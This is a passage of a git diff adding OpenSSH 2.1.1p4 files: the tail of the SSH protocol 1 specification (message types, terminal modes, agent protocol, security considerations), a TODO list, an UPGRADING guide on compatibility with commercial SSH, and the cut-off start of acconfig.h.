extensions. +.IP "4 SSH_CMSG_USER" +.TS +; +l l. +string user login name on server +.TE +Sent by the client to begin authentication. Specifies the user name +on the server to log in as. The server responds with SSH_SMSG_SUCCESS +if no authentication is needed for this user, or SSH_SMSG_FAILURE if +authentication is needed (or the user does not exist). [Note to the +implementator: the user name is of arbitrary size. The implementation +must be careful not to overflow internal buffers.] +.IP "5 SSH_CMSG_AUTH_RHOSTS" +.TS +; +l l. +string client-side user name +.TE +Requests authentication using /etc/hosts.equiv and .rhosts (or +equivalent mechanisms). This authentication method is normally +disabled in the server because it is not secure (but this is the +method used by rsh and rlogin). The server responds with +SSH_SMSG_SUCCESS if authentication was successful, and +SSH_SMSG_FAILURE if access was not granted. The server should check +that the client side port number is less than 1024 (a privileged +port), and immediately reject authentication if it is not. Supporting +this authentication method is optional. This method should normally +not be enabled in the server because it is not safe. (However, not +enabling this only helps if rlogind and rshd are disabled.) +.IP "6 SSH_CMSG_AUTH_RSA" +.TS +; +l l. +mp-int identity_public_modulus +.TE +Requests authentication using pure RSA authentication. The server +checks if the given key is permitted to log in, and if so, responds +with SSH_SMSG_AUTH_RSA_CHALLENGE. Otherwise, it responds with +SSH_SMSG_FAILURE. The client often tries several different keys in +sequence until one supported by the server is found. Authentication +is accepted if the client gives the correct response to the challenge. +The server is free to add other criteria for authentication, such as a +requirement that the connection must come from a certain host. Such +additions are not visible at the protocol level. Supporting this +authentication method is optional but recommended. +.IP "7 SSH_SMSG_AUTH_RSA_CHALLENGE" +.TS +; +l l. +mp-int encrypted challenge +.TE +Presents an RSA authentication challenge to the client. The challenge +is a 256-bit random value encrypted as described elsewhere in this +document. The client must decrypt the challenge using the RSA private +key, compute MD5 of the challenge plus session id, and send back the +resulting 16 bytes using SSH_CMSG_AUTH_RSA_RESPONSE. +.IP "8 SSH_CMSG_AUTH_RSA_RESPONSE" +.TS +; +l l. +16 bytes MD5 of decrypted challenge +.TE +This message is sent by the client in response to an RSA challenge. +The MD5 checksum is returned instead of the decrypted challenge to +deter known-plaintext attacks against the RSA key. The server +responds to this message with either SSH_SMSG_SUCCESS or +SSH_SMSG_FAILURE. +.IP "9 SSH_CMSG_AUTH_PASSWORD" +.TS +; +l l. +string plain text password +.TE +Requests password authentication using the given password. Note that +even though the password is plain text inside the packet, the whole +packet is normally encrypted by the packet layer. It would not be +possible for the client to perform password encryption/hashing, +because it cannot know which kind of encryption/hashing, if any, the +server uses. The server responds to this message with +SSH_SMSG_SUCCESS or SSH_SMSG_FAILURE. +.IP "10 SSH_CMSG_REQUEST_PTY" +.TS +; +l l. +string TERM environment variable value (e.g. vt100) +32-bit int terminal height, rows (e.g., 24) +32-bit int terminal width, columns (e.g., 80) +32-bit int terminal width, pixels (0 if no graphics) (e.g., 480) +32-bit int terminal height, pixels (0 if no graphics) (e.g., 640) +n bytes tty modes encoded in binary +.TE +Requests a pseudo-terminal to be allocated for this command. This +message can be used regardless of whether the session will later +execute the shell or a command. If a pty has been requested with this +message, the shell or command will run on a pty. Otherwise it will +communicate with the server using pipes, sockets or some other similar +mechanism. + +The terminal type gives the type of the user's terminal. In the UNIX +environment it is passed to the shell or command in the TERM +environment variable. + +The width and height values give the initial size of the user's +terminal or window. All values can be zero if not supported by the +operating system. The server will pass these values to the kernel if +supported. + +Terminal modes are encoded into a byte stream in a portable format. +The exact format is described later in this document. + +The server responds to the request with either SSH_SMSG_SUCCESS or +SSH_SMSG_FAILURE. If the server does not have the concept of pseudo +terminals, it should return success if it is possible to execute a +shell or a command so that it looks to the client as if it was running +on a pseudo terminal. +.IP "11 SSH_CMSG_WINDOW_SIZE" +.TS +; +l l. +32-bit int terminal height, rows +32-bit int terminal width, columns +32-bit int terminal width, pixels +32-bit int terminal height, pixels +.TE +This message can only be sent by the client during the interactive +session. This indicates that the size of the user's window has +changed, and provides the new size. The server will update the +kernel's notion of the window size, and a SIGWINCH signal or +equivalent will be sent to the shell or command (if supported by the +operating system). +.IP "12 SSH_CMSG_EXEC_SHELL" + +(no arguments) + +Starts a shell (command interpreter), and enters interactive session +mode. +.IP "13 SSH_CMSG_EXEC_CMD" +.TS +; +l l. +string command to execute +.TE +Starts executing the given command, and enters interactive session +mode. On UNIX, the command is run as " -c ", where + is the user's login shell. +.IP "14 SSH_SMSG_SUCCESS" + +(no arguments) + +This message is sent by the server in response to the session key, a +successful authentication request, and a successfully completed +preparatory operation. +.IP "15 SSH_SMSG_FAILURE" + +(no arguments) + +This message is sent by the server in response to a failed +authentication operation to indicate that the user has not yet been +successfully authenticated, and in response to a failed preparatory +operation. This is also sent in response to an authentication or +preparatory operation request that is not recognized or supported. +.IP "16 SSH_CMSG_STDIN_DATA" +.TS +; +l l. +string data +.TE +Delivers data from the client to be supplied as input to the shell or +program running on the server side. This message can only be used in +the interactive session mode. No acknowledgement is sent for this +message. +.IP "17 SSH_SMSG_STDOUT_DATA" +.TS +; +l l. +string data +.TE +Delivers data from the server that was read from the standard output of +the shell or program running on the server side. This message can +only be used in the interactive session mode. No acknowledgement is +sent for this message. +.IP "18 SSH_SMSG_STDERR_DATA" +.TS +; +l l. +string data +.TE +Delivers data from the server that was read from the standard error of +the shell or program running on the server side. This message can +only be used in the interactive session mode. No acknowledgement is +sent for this message. +.IP "19 SSH_CMSG_EOF" + +(no arguments) + +This message is sent by the client to indicate that EOF has been +reached on the input. Upon receiving this message, and after all +buffered input data has been sent to the shell or program, the server +will close the input file descriptor to the program. This message can +only be used in the interactive session mode. No acknowledgement is +sent for this message. +.IP "20 SSH_SMSG_EXITSTATUS" +.TS +; +l l. +32-bit int exit status of the command +.TE +Returns the exit status of the shell or program after it has exited. +The client should respond with SSH_CMSG_EXIT_CONFIRMATION when it has +received this message. This will be the last message sent by the +server. If the program being executed dies with a signal instead of +exiting normally, the server should terminate the session with +SSH_MSG_DISCONNECT (which can be used to pass a human-readable string +indicating that the program died due to a signal) instead of using +this message. +.IP "21 SSH_MSG_CHANNEL_OPEN_CONFIRMATION" +.TS +; +l l. +32-bit int remote_channel +32-bit int local_channel +.TE +This is sent in response to any channel open request if the channel +has been successfully opened. Remote_channel is the channel number +received in the initial open request; local_channel is the channel +number the side sending this message has allocated for the channel. +Data can be transmitted on the channel after this message. +.IP "22 SSH_MSG_CHANNEL_OPEN_FAILURE" +.TS +; +l l. +32-bit int remote_channel +.TE +This message indicates that an earlier channel open request by the +other side has failed or has been denied. Remote_channel is the +channel number given in the original request. +.IP "23 SSH_MSG_CHANNEL_DATA" +.TS +; +l l. +32-bit int remote_channel +string data +.TE +Data is transmitted in a channel in these messages. A channel is +bidirectional, and both sides can send these messages. There is no +acknowledgement for these messages. It is possible that either side +receives these messages after it has sent SSH_MSG_CHANNEL_CLOSE for +the channel. These messages cannot be received after the party has +sent or received SSH_MSG_CHANNEL_CLOSE_CONFIRMATION. +.IP "24 SSH_MSG_CHANNEL_CLOSE" +.TS +; +l l. +32-bit int remote_channel +.TE +When a channel is closed at one end of the connection, that side sends +this message. Upon receiving this message, the channel should be +closed. When this message is received, if the channel is already +closed (the receiving side has sent this message for the same channel +earlier), the channel is freed and no further action is taken; +otherwise the channel is freed and SSH_MSG_CHANNEL_CLOSE_CONFIRMATION +is sent in response. (It is possible that the channel is closed +simultaneously at both ends.) +.IP "25 SSH_MSG_CHANNEL_CLOSE_CONFIRMATION" +.TS +; +l l. +32-bit int remote_channel +.TE +This message is sent in response to SSH_MSG_CHANNEL_CLOSE unless the +channel was already closed. When this message is sent or received, +the channel is freed. +.IP "26 (OBSOLETED; was unix-domain X11 forwarding) +.IP "27 SSH_SMSG_X11_OPEN" +.TS +; +l l. +32-bit int local_channel +string originator_string (see below) +.TE +This message can be sent by the server during the interactive session +mode to indicate that a client has connected the fake X server. +Local_channel is the channel number that the server has allocated for +the connection. The client should try to open a connection to the +real X server, and respond with SSH_MSG_CHANNEL_OPEN_CONFIRMATION or +SSH_MSG_CHANNEL_OPEN_FAILURE. + +The field originator_string is present if both sides +specified SSH_PROTOFLAG_HOST_IN_FWD_OPEN in the protocol flags. It +contains a description of the host originating the connection. +.IP "28 SSH_CMSG_PORT_FORWARD_REQUEST" +.TS +; +l l. +32-bit int server_port +string host_to_connect +32-bit int port_to_connect +.TE +Sent by the client in the preparatory phase, this message requests +that server_port on the server machine be forwarded over the secure +channel to the client machine, and from there to the specified host +and port. The server should start listening on the port, and send +SSH_MSG_PORT_OPEN whenever a connection is made to it. Supporting +this message is optional, and the server is free to reject any forward +request. For example, it is highly recommended that unless the user +has been authenticated as root, forwarding any privileged port numbers +(below 1024) is denied. +.IP "29 SSH_MSG_PORT_OPEN" +.TS +; +l l. +32-bit int local_channel +string host_name +32-bit int port +string originator_string (see below) +.TE +Sent by either party in interactive session mode, this message +indicates that a connection has been opened to a forwarded TCP/IP +port. Local_channel is the channel number that the sending party has +allocated for the connection. Host_name is the host the connection +should be be forwarded to, and the port is the port on that host to +connect. The receiving party should open the connection, and respond +with SSH_MSG_CHANNEL_OPEN_CONFIRMATION or +SSH_MSG_CHANNEL_OPEN_FAILURE. It is recommended that the receiving +side check the host_name and port for validity to avoid compromising +local security by compromised remote side software. Particularly, it +is recommended that the client permit connections only to those ports +for which it has requested forwarding with SSH_CMSG_PORT_FORWARD_REQUEST. + +The field originator_string is present if both sides +specified SSH_PROTOFLAG_HOST_IN_FWD_OPEN in the protocol flags. It +contains a description of the host originating the connection. +.IP "30 SSH_CMSG_AGENT_REQUEST_FORWARDING" + +(no arguments) + +Requests that the connection to the authentication agent be forwarded +over the secure channel. The method used by clients to contact the +authentication agent within each machine is implementation and machine +dependent. If the server accepts this request, it should arrange that +any clients run from this session will actually contact the server +program when they try to contact the authentication agent. The server +should then send a SSH_SMSG_AGENT_OPEN to open a channel to the agent, +and the client should forward the connection to the real +authentication agent. Supporting this message is optional. +.IP "31 SSH_SMSG_AGENT_OPEN" +.TS +; +l l. +32-bit int local_channel +.TE +Sent by the server in interactive session mode, this message requests +opening a channel to the authentication agent. The client should open +a channel, and respond with either SSH_MSG_CHANNEL_OPEN_CONFIRMATION +or SSH_MSG_CHANNEL_OPEN_FAILURE. +.IP "32 SSH_MSG_IGNORE" +.TS +; +l l. +string data +.TE +Either party may send this message at any time. This message, and the +argument string, is silently ignored. This message might be used in +some implementations to make traffic analysis more difficult. This +message is not currently sent by the implementation, but all +implementations are required to recognize and ignore it. +.IP "33 SSH_CMSG_EXIT_CONFIRMATION" + +(no arguments) + +Sent by the client in response to SSH_SMSG_EXITSTATUS. This is the +last message sent by the client. +.IP "34 SSH_CMSG_X11_REQUEST_FORWARDING" +.TS +; +l l. +string x11_authentication_protocol +string x11_authentication_data +32-bit int screen number (if SSH_PROTOFLAG_SCREEN_NUMBER) +.TE +Sent by the client during the preparatory phase, this message requests +that the server create a fake X11 display and set the DISPLAY +environment variable accordingly. An internet-domain display is +preferable. The given authentication protocol and the associated data +should be recorded by the server so that it is used as authentication +on connections (e.g., in .Xauthority). The authentication protocol +must be one of the supported X11 authentication protocols, e.g., +"MIT-MAGIC-COOKIE-1". Authentication data must be a lowercase hex +string of even length. Its interpretation is protocol dependent. +The data is in a format that can be used with e.g. the xauth program. +Supporting this message is optional. + +The client is permitted (and recommended) to generate fake +authentication information and send fake information to the server. +This way, a corrupt server will not have access to the user's terminal +after the connection has terminated. The correct authorization codes +will also not be left hanging around in files on the server (many +users keep the same X session for months, thus protecting the +authorization data becomes important). + +X11 authentication spoofing works by initially sending fake (random) +authentication data to the server, and interpreting the first packet +sent by the X11 client after the connection has been opened. The +first packet contains the client's authentication. If the packet +contains the correct fake data, it is replaced by the client by the +correct authentication data, and then sent to the X server. +.IP "35 SSH_CMSG_AUTH_RHOSTS_RSA" +.TS +; +l l. +string clint-side user name +32-bit int client_host_key_bits +mp-int client_host_key_public_exponent +mp-int client_host_key_public_modulus +.TE +Requests authentication using /etc/hosts.equiv and .rhosts (or +equivalent) together with RSA host authentication. The server should +check that the client side port number is less than 1024 (a privileged +port), and immediately reject authentication if it is not. The server +responds with SSH_SMSG_FAILURE or SSH_SMSG_AUTH_RSA_CHALLENGE. The +client must respond to the challenge with the proper +SSH_CMSG_AUTH_RSA_RESPONSE. The server then responds with success if +access was granted, or failure if the client gave a wrong response. +Supporting this authentication method is optional but recommended in +most environments. +.IP "36 SSH_MSG_DEBUG" +.TS +; +l l. +string debugging message sent to the other side +.TE +This message may be sent by either party at any time. It is used to +send debugging messages that may be informative to the user in +solving various problems. For example, if authentication fails +because of some configuration error (e.g., incorrect permissions for +some file), it can be very helpful for the user to make the cause of +failure available. On the other hand, one should not make too much +information available for security reasons. It is recommended that +the client provides an option to display the debugging information +sent by the sender (the user probably does not want to see it by default). +The server can log debugging data sent by the client (if any). Either +party is free to ignore any received debugging data. Every +implementation must be able to receive this message, but no +implementation is required to send these. +.IP "37 SSH_CMSG_REQUEST_COMPRESSION" +.TS +; +l l. +32-bit int gzip compression level (1-9) +.TE +This message can be sent by the client in the preparatory operations +phase. The server responds with SSH_SMSG_FAILURE if it does not +support compression or does not want to compress; it responds with +SSH_SMSG_SUCCESS if it accepted the compression request. In the +latter case the response to this packet will still be uncompressed, +but all further packets in either direction will be compressed by gzip. +.RT + + +.ti 0 +Encoding of Terminal Modes + +Terminal modes (as passed in SSH_CMSG_REQUEST_PTY) are encoded into a +byte stream. It is intended that the coding be portable across +different environments. + +The tty mode description is a stream of bytes. The stream consists of +opcode-argument pairs. It is terminated by opcode TTY_OP_END (0). +Opcodes 1-127 have one-byte arguments. Opcodes 128-159 have 32-bit +integer arguments (stored msb first). Opcodes 160-255 are not yet +defined, and cause parsing to stop (they should only be used after any +other data). + +The client puts in the stream any modes it knows about, and the server +ignores any modes it does not know about. This allows some degree of +machine-independence, at least between systems that use a POSIX-like +[POSIX] tty interface. The protocol can support other systems as +well, but the client may need to fill reasonable values for a number +of parameters so the server pty gets set to a reasonable mode (the +server leaves all unspecified mode bits in their default values, and +only some combinations make sense). + +The following opcodes have been defined. The naming of opcodes mostly +follows the POSIX terminal mode flags. +.IP "0 TTY_OP_END" +Indicates end of options. +.IP "1 VINTR" +Interrupt character; 255 if none. Similarly for the other characters. +Not all of these characters are supported on all systems. +.IP "2 VQUIT" +The quit character (sends SIGQUIT signal on UNIX systems). +.IP "3 VERASE" +Erase the character to left of the cursor. +.IP "4 VKILL" +Kill the current input line. +.IP "5 VEOF " +End-of-file character (sends EOF from the terminal). +.IP "6 VEOL " +End-of-line character in addition to carriage return and/or linefeed. +.IP "7 VEOL2" +Additional end-of-line character. +.IP "8 VSTART" +Continues paused output (normally ^Q). +.IP "9 VSTOP" +Pauses output (^S). +.IP "10 VSUSP" +Suspends the current program. +.IP "11 VDSUSP" +Another suspend character. +.IP "12 VREPRINT" +Reprints the current input line. +.IP "13 VWERASE" +Erases a word left of cursor. +.IP "14 VLNEXT" +More special input characters; these are probably not supported on +most systems. +.IP "15 VFLUSH" +.IP "16 VSWTCH" +.IP "17 VSTATUS" +.IP "18 VDISCARD" + +.IP "30 IGNPAR" +The ignore parity flag. The next byte should be 0 if this flag is not +set, and 1 if it is set. +.IP "31 PARMRK" +More flags. The exact definitions can be found in the POSIX standard. +.IP "32 INPCK" +.IP "33 ISTRIP" +.IP "34 INLCR" +.IP "35 IGNCR" +.IP "36 ICRNL" +.IP "37 IUCLC" +.IP "38 IXON" +.IP "39 IXANY" +.IP "40 IXOFF" +.IP "41 IMAXBEL" + +.IP "50 ISIG" +.IP "51 ICANON" +.IP "52 XCASE" +.IP "53 ECHO" +.IP "54 ECHOE" +.IP "55 ECHOK" +.IP "56 ECHONL" +.IP "57 NOFLSH" +.IP "58 TOSTOP" +.IP "59 IEXTEN" +.IP "60 ECHOCTL" +.IP "61 ECHOKE" +.IP "62 PENDIN" + +.IP "70 OPOST" +.IP "71 OLCUC" +.IP "72 ONLCR" +.IP "73 OCRNL" +.IP "74 ONOCR" +.IP "75 ONLRET" + +.IP "90 CS7" +.IP "91 CS8" +.IP "92 PARENB" +.IP "93 PARODD" + +.IP "192 TTY_OP_ISPEED" +Specifies the input baud rate in bits per second. +.IP "193 TTY_OP_OSPEED" +Specifies the output baud rate in bits per second. +.RT + + +.ti 0 +The Authentication Agent Protocol + +The authentication agent is a program that can be used to hold RSA +authentication keys for the user (in future, it might hold data for +other authentication types as well). An authorized program can send +requests to the agent to generate a proper response to an RSA +challenge. How the connection is made to the agent (or its +representative) inside a host and how access control is done inside a +host is implementation-dependent; however, how it is forwarded and how +one interacts with it is specified in this protocol. The connection +to the agent is normally automatically forwarded over the secure +channel. + +A program that wishes to use the agent first opens a connection to its +local representative (typically, the agent itself or an SSH server). +It then writes a request to the connection, and waits for response. +It is recommended that at least five minutes of timeout are provided +waiting for the agent to respond to an authentication challenge (this +gives sufficient time for the user to cut-and-paste the challenge to a +separate machine, perform the computation there, and cut-and-paste the +result back if so desired). + +Messages sent to and by the agent are in the following format: +.TS +; +l l. +4 bytes Length, msb first. Does not include length itself. +1 byte Packet type. The value 255 is reserved for future extensions. +data Any data, depending on packet type. Encoding as in the ssh packet +protocol. +.TE + +The following message types are currently defined: +.IP "1 SSH_AGENTC_REQUEST_RSA_IDENTITIES" + +(no arguments) + +Requests the agent to send a list of all RSA keys for which it can +answer a challenge. +.IP "2 SSH_AGENT_RSA_IDENTITIES_ANSWER" +.TS +; +l l. +32-bit int howmany +howmany times: +32-bit int bits +mp-int public exponent +mp-int public modulus +string comment +.TE +The agent sends this message in response to the to +SSH_AGENTC_REQUEST_RSA_IDENTITIES. The answer lists all RSA keys for +which the agent can answer a challenge. The comment field is intended +to help identify each key; it may be printed by an application to +indicate which key is being used. If the agent is not holding any +keys, howmany will be zero. +.IP "3 SSH_AGENTC_RSA_CHALLENGE +.TS +; +l l. +32-bit int bits +mp-int public exponent +mp-int public modulus +mp-int challenge +16 bytes session_id +32-bit int response_type +.TE +Requests RSA decryption of random challenge to authenticate the other +side. The challenge will be decrypted with the RSA private key +corresponding to the given public key. + +The decrypted challenge must contain a zero in the highest (partial) +byte, 2 in the next byte, followed by non-zero random bytes, a zero +byte, and then the real challenge value in the lowermost bytes. The +real challenge must be 32 8-bit bytes (256 bits). + +Response_type indicates the format of the response to be returned. +Currently the only supported value is 1, which means to compute MD5 of +the real challenge plus session id, and return the resulting 16 bytes +in a SSH_AGENT_RSA_RESPONSE message. +.IP "4 SSH_AGENT_RSA_RESPONSE" +.TS +; +l l. +16 bytes MD5 of decrypted challenge +.TE +Answers an RSA authentication challenge. The response is 16 bytes: +the MD5 checksum of the 32-byte challenge. +.IP "5 SSH_AGENT_FAILURE" + +(no arguments) + +This message is sent whenever the agent fails to answer a request +properly. For example, if the agent cannot answer a challenge (e.g., +no longer has the proper key), it can respond with this. The agent +also responds with this message if it receives a message it does not +recognize. +.IP "6 SSH_AGENT_SUCCESS" + +(no arguments) + +This message is sent by the agent as a response to certain requests +that do not otherwise cause a message be sent. Currently, this is +only sent in response to SSH_AGENTC_ADD_RSA_IDENTITY and +SSH_AGENTC_REMOVE_RSA_IDENTITY. +.IP "7 SSH_AGENTC_ADD_RSA_IDENTITY" +.TS +; +l l. +32-bit int bits +mp-int public modulus +mp-int public exponent +mp-int private exponent +mp-int multiplicative inverse of p mod q +mp-int p +mp-int q +string comment +.TE +Registers an RSA key with the agent. After this request, the agent can +use this RSA key to answer requests. The agent responds with +SSH_AGENT_SUCCESS or SSH_AGENT_FAILURE. +.IP "8 SSH_AGENT_REMOVE_RSA_IDENTITY" +.TS +; +l l. +32-bit int bits +mp-int public exponent +mp-int public modulus +.TE +Removes an RSA key from the agent. The agent will no longer accept +challenges for this key and will not list it as a supported identity. +The agent responds with SSH_AGENT_SUCCESS or SSH_AGENT_FAILURE. +.RT + +If the agent receives a message that it does not understand, it +responds with SSH_AGENT_FAILURE. This permits compatible future +extensions. + +It is possible that several clients have a connection open to the +authentication agent simultaneously. Each client will use a separate +connection (thus, any SSH connection can have multiple agent +connections active simultaneously). + + +.ti 0 +References + +.IP "[DES] " +FIPS PUB 46-1: Data Encryption Standard. National Bureau of +Standards, January 1988. FIPS PUB 81: DES Modes of Operation. +National Bureau of Standards, December 1980. Bruce Schneier: Applied +Cryptography. John Wiley & Sons, 1994. J. Seberry and J. Pieprzyk: +Cryptography: An Introduction to Computer Security. Prentice-Hall, +1989. +.IP "[GZIP] " +The GNU GZIP program; available for anonymous ftp at prep.ai.mit.edu. +Please let me know if you know a paper describing the algorithm. +.IP "[IDEA] " +Xuejia Lai: On the Design and Security of Block Ciphers, ETH Series in +Information Processing, vol. 1, Hartung-Gorre Verlag, Konstanz, +Switzerland, 1992. Bruce Schneier: Applied Cryptography, John Wiley & +Sons, 1994. See also the following patents: PCT/CH91/00117, EP 0 482 +154 B1, US Pat. 5,214,703. +.IP [PKCS#1] +PKCS #1: RSA Encryption Standard. Version 1.5, RSA Laboratories, +November 1993. Available for anonymous ftp at ftp.rsa.com. +.IP [POSIX] +Portable Operating System Interface (POSIX) - Part 1: Application +Program Interface (API) [C language], ISO/IEC 9945-1, IEEE Std 1003.1, +1990. +.IP [RFC0791] +J. Postel: Internet Protocol, RFC 791, USC/ISI, September 1981. +.IP [RFC0793] +J. Postel: Transmission Control Protocol, RFC 793, USC/ISI, September +1981. +.IP [RFC1034] +P. Mockapetris: Domain Names - Concepts and Facilities, RFC 1034, +USC/ISI, November 1987. +.IP [RFC1282] +B. Kantor: BSD Rlogin, RFC 1258, UCSD, December 1991. +.IP "[RSA] " +Bruce Schneier: Applied Cryptography. John Wiley & Sons, 1994. See +also R. Rivest, A. Shamir, and L. M. Adleman: Cryptographic +Communications System and Method. US Patent 4,405,829, 1983. +.IP "[X11] " +R. Scheifler: X Window System Protocol, X Consortium Standard, Version +11, Release 6. Massachusetts Institute of Technology, Laboratory of +Computer Science, 1994. +.RT + + +.ti 0 +Security Considerations + +This protocol deals with the very issue of user authentication and +security. + +First of all, as an implementation issue, the server program will have +to run as root (or equivalent) on the server machine. This is because +the server program will need be able to change to an arbitrary user +id. The server must also be able to create a privileged TCP/IP port. + +The client program will need to run as root if any variant of .rhosts +authentication is to be used. This is because the client program will +need to create a privileged port. The client host key is also usually +stored in a file which is readable by root only. The client needs the +host key in .rhosts authentication only. Root privileges can be +dropped as soon as the privileged port has been created and the host +key has been read. + +The SSH protocol offers major security advantages over existing telnet +and rlogin protocols. +.IP o +IP spoofing is restricted to closing a connection (by encryption, host +keys, and the special random cookie). If encryption is not used, IP +spoofing is possible for those who can hear packets going out from the +server. +.IP o +DNS spoofing is made ineffective (by host keys). +.IP o +Routing spoofing is made ineffective (by host keys). +.IP o +All data is encrypted with strong algorithms to make eavesdropping as +difficult as possible. This includes encrypting any authentication +information such as passwords. The information for decrypting session +keys is destroyed every hour. +.IP o +Strong authentication methods: .rhosts combined with RSA host +authentication, and pure RSA authentication. +.IP o +X11 connections and arbitrary TCP/IP ports can be forwarded securely. +.IP o +Man-in-the-middle attacks are deterred by using the server host key to +encrypt the session key. +.IP o +Trojan horses to catch a password by routing manipulation are deterred +by checking that the host key of the server machine matches that +stored on the client host. +.RT + +The security of SSH against man-in-the-middle attacks and the security +of the new form of .rhosts authentication, as well as server host +validation, depends on the integrity of the host key and the files +containing known host keys. + +The host key is normally stored in a root-readable file. If the host +key is compromised, it permits attackers to use IP, DNS and routing +spoofing as with current rlogin and rsh. It should never be any worse +than the current situation. + +The files containing known host keys are not sensitive. However, if an +attacker gets to modify the known host key files, it has the same +consequences as a compromised host key, because the attacker can then +change the recorded host key. + +The security improvements obtained by this protocol for X11 are of +particular significance. Previously, there has been no way to protect +data communicated between an X server and a client running on a remote +machine. By creating a fake display on the server, and forwarding all +X11 requests over the secure channel, SSH can be used to run any X11 +applications securely without any cooperation with the vendors of the +X server or the application. + +Finally, the security of this program relies on the strength of the +underlying cryptographic algorithms. The RSA algorithm is used for +authentication key exchange. It is widely believed to be secure. Of +the algorithms used to encrypt the session, DES has a rather small key +these days, probably permitting governments and organized criminals to +break it in very short time with specialized hardware. 3DES is +probably safe (but slower). IDEA is widely believed to be secure. +People have varying degrees of confidence in the other algorithms. +This program is not secure if used with no encryption at all. + + +.ti 0 +Additional Information + +Additional information (especially on the implementation and mailing +lists) is available via WWW at http://www.cs.hut.fi/ssh. + +Comments should be sent to Tatu Ylonen or the SSH +Mailing List . + +.ti 0 +Author's Address + +.TS +; +l. +Tatu Ylonen +Helsinki University of Technology +Otakaari 1 +FIN-02150 Espoo, Finland + +Phone: +358-0-451-3374 +Fax: +358-0-451-3293 +EMail: ylo@cs.hut.fi +.TE diff --git a/other/openssh-2.1.1p4/TODO b/other/openssh-2.1.1p4/TODO new file mode 100644 index 0000000..1d46ae1 --- /dev/null +++ b/other/openssh-2.1.1p4/TODO @@ -0,0 +1,16 @@ +- Replacement for setproctitle() + +- Improve PAM support (a pam_lastlog module will cause sshd to exit) + +- Better documentation + +- Replace the horror in acconfig.h which tries to comphensate for the + lack of u_intXX_t types. There must be a better way. + +- Cleanup configure.in + +- Next now has sigaction() based on sigvec(). But it sill does not + seem to act correctly. Ctrl-C and Ctrl-Z don't return echo to the + underlying shell. + +- utmp/wtmp logging does not work on NeXT diff --git a/other/openssh-2.1.1p4/UPGRADING b/other/openssh-2.1.1p4/UPGRADING new file mode 100644 index 0000000..df3a23e --- /dev/null +++ b/other/openssh-2.1.1p4/UPGRADING @@ -0,0 +1,132 @@ +[ A Japanese translation of this document is available at +[ http://www.unixuser.org/%7Eharuyama/security/openssh/index.html +[ Thanks to HARUYAMA Seigo + +OpenSSH is almost completely compatible with the commercial SSH 1.2.x. +There are, however, a few exceptions that you will need to bear in +mind while upgrading: + +1. OpenSSH does not support any patented transport algorithms. + +Only 3DES and Blowfish can be selected. This difference may manifest +itself in the ssh command refusing to read its config files. + +Solution: Edit /etc/ssh/ssh_config and select a different "Cipher" +option ("3des" or "blowfish"). + +2. Old versions of commercial SSH encrypt host keys with IDEA + +The old versions of SSH used a patented algorithm to encrypt their +/etc/ssh/ssh_host_key + +This problem will manifest as sshd not being able to read its host +key. + +Solution: You will need to run the *commercial* version of ssh-keygen +on the host's private key: + +ssh-keygen -u -f /etc/ssh/ssh_host_key + +3. Incompatible changes to sshd_config format. + +OpenSSH extends the sshd_config file format in a number of ways. There +is currently one change which is incompatible with the old. + +Commercial SSH controlled logging using the "QuietMode" and +"FascistLogging" directives. OpenSSH introduces a more general set of +logging options "SyslogFacility" and "LogLevel". See the sshd manual +page for details. + +4. Warning messages about key lengths + +Commercial SSH's ssh-keygen program contained a bug which caused it to +occasionally generate RSA keys which had their Most Significant Bit +(MSB) unset. Such keys were advertised as being full-length, but are +actually only half as secure. + +OpenSSH will print warning messages when it encounters such keys. To +rid yourself of these message, edit you known_hosts files and replace +the incorrect key length (usually "1024") with the correct key length +(usually "1023"). + +5. Spurious PAM authentication messages in logfiles + +OpenSSH will generate spurious authentication failures at every login, +similar to "authentication failure; (uid=0) -> root for sshd service". +These are generated because OpenSSH first tries to determine whether a +user needs authentication to login (e.g. empty password). Unfortunatly +PAM likes to log all authentication events, this one included. + +If it annoys you too much, set "PermitEmptyPasswords no" in +sshd_config. This will quiet the error message at the expense of +disabling logins to accounts with no password set. This is the +default if you use the supplied sshd_config file. + +6. Empty passwords not allowed with PAM authentication + +To enable empty passwords with a version of OpenSSH built with PAM you +must add the flag "nullok" to the end of the password checking module +in the /etc/pam.d/sshd file. For example: + +auth required/lib/security/pam_unix.so shadow nodelay nullok + +This must be done in addtion to setting "PermitEmptyPasswords yes" +in the sshd_config file. + +There is one caveat when using empty passwords with PAM +authentication: PAM will allow _any_ password when authenticating +an account with an empty password. This breaks the check that sshd +uses to determined whether an account has no password set and grant +users access to the account regardless of the policy specified by +"PermitEmptyPasswords". For this reason, it is recommended that you do +not add the "nullok" directive to your PAM configuration file unless +you specifically wish to allow empty passwords. + +7. X11 and/or agent forwarding does not work + +Check your ssh_config and sshd_config. The default configuration files +disable authentication agent and X11 forwarding. + +8. ssh takes a long time to connect with Linux/glibc 2.1 + +The glibc shipped with Redhat 6.1 appears to take a long time to resolve +"IPv6 or IPv4" addresses from domain names. This can be kludged around +with the --with-ipv4-default configure option. This instructs OpenSSH to +use IPv4-only address resolution. (IPv6 lookups may still be made by +specifying the -6 option). + +9. Logins from commercial ssh generate the error "Selected cipher type + idea not supported by server" + +This error is generated when a commercial ssh which has been configured to +use the 'idea' cipher attempts to connect to an OpenSSH server. To rectify +this, select a different cipher in ssh_config or ~/.ssh/config (3des for +security or blowfish for speed). + +10. "can't locate module net-pf-10" messages in log under Linux + +The Linux kernel is looking (via modprobe) for protocol family 10 (IPv6). +Either 1. load the appropriate kernel module, 2. enter the correct alias +in /etc/modules.conf or 3. disable IPv6 in /etc/modules.conf. + +For some silly reason /etc/modules.conf may also be named /etc/conf.modules + +11. Password authentication doesn't work on Slackware 7.0 + +Configure OpenSSH with --with-md5-passwords + +12. ./configure or sshd complain about lack of RSA support + +Ensure that your OpenSSL libraries have been built to include RSA support +either internally or through RSAref. + +13. "scp: command not found" errors + +scp must be in the default PATH on both the client and the server. You may +need to use the --with-default-path option to specify a custom path to +search on the server. This option replaces the default path, so you need +to specify all the current directories on your path as well as where you +have installed scp. For example: + +./configure --with-default-path=/bin:/usr/bin:/usr/local/bin:/path/to/scp + diff --git a/other/openssh-2.1.1p4/acconfig.h b/other/openssh-2.1.1p4/acconfig.h new file mode 100644 index 0000000..358390b --- /dev/null +++ b/other/openssh-2.1.1p4/acconfig.h @@ -0,0 +1,238 @@ +#ifndef _CONFIG_H +#define _CONFIG_H + +/* Generated automatically from acconfig.h by autoheader. */ +/* Please make your changes there */ + +@TOP@ + +/* Define if your system defines sys_errlist[] */ +#undef HAVE_SYS_ERRLIST + +/* Define if your system choked on IP TOS setting */ +#undef 